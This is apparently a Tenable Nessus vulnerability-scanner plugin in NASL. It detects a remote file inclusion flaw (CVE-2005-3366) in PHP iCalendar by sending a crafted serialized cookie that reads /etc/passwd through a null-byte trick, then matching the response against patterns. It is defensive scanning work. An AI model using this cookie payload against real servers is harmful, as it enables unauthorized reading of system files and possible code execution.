PHP iCalendar index.php phpicalendar Parameter Remote File Inclusion

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(20091);
  script_version("1.20");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2005-3366");
  script_bugtraq_id(15193);

  script_name(english:"PHP iCalendar index.php phpicalendar Parameter Remote File Inclusion");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP script that is prone to a remote
file include vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote host appears to be running PHP iCalendar, a web-based iCal
file viewer / parser written in PHP. 

The version of PHP iCalendar installed on the remote host fails to
sanitize the 'phpicalendar' cookie before using it in 'index.php' to
include PHP code from a separate file.  By leveraging this flaw, an
unauthenticated attacker may be able to view arbitrary files on the
remote host and execute arbitrary PHP code, possibly taken from
third-party hosts.  Successful exploitation requires that PHP's
'magic_quotes' setting be disabled, that its 'allow_url_fopen' setting
be enabled, or that an attacker be able to place PHP files on the
remote host.");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2005/Oct/527");
  script_set_attribute(attribute:"solution", value:
"Upgrade to a version of PHP iCalendar later than 2.0.1 when it becomes
available.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"false");

  script_set_attribute(attribute:"vuln_publication_date", value:"2005/10/25");
  script_set_attribute(attribute:"plugin_publication_date", value:"2005/10/27");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:php_icalendar:php_icalendar");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2005-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl");
  script_require_keys("www/PHP");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);

  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("url_func.inc");
include("data_protection.inc");

port = get_http_port(default:80);
if (!can_host_php(port:port)) exit(0);

# What we use to get (file or partial URL).
file = "/etc/passwd%00";
exploit = urlencode(
  str:string(
    'a:1:{',
      's:11:"cookie_view";',
      's:', strlen(file), ':"', file, '";',
    '}'
  )
);


# Loop through directories.
if (thorough_tests) dirs = list_uniq("/icalendar", "/phpicalendar", "/calendar", "/ical", "/cal", cgi_dirs());
else dirs = make_list(cgi_dirs());

foreach dir (dirs) {
  init_cookiejar();
  set_http_cookie(name: "phpicalendar", value: exploit);
  # Try to exploit the flaw.
  r = http_send_recv3(method: "GET", item:string(dir, "/index.php"), port:port);
  if (isnull(r)) exit(0);

  # There's a problem if...
  if (
    # there's an entry for root or...
    egrep(pattern:"root:.*:0:[01]:", string: r[2]) ||
    # we get an error saying "failed to open stream" or "Failed opening".
    #
    # nb: this suggests magic_quotes_gpc was enabled but remote file
    #     includes might still work.
    egrep(pattern:"Warning.+main\(/etc/passwd.+failed to open stream", string: r[2]) ||
    egrep(pattern:"Failed opening .*'/etc/passwd", string: r[2])
  ) {
    if (report_verbosity > 0) {
      report = string(
        r[0],r[1],'\r\n',r[2]
      );
    }
    else report = NULL;
    report = data_protection::redact_etc_passwd(output:report);
    security_warning(port:port, extra:report);
    exit(0);
  }
}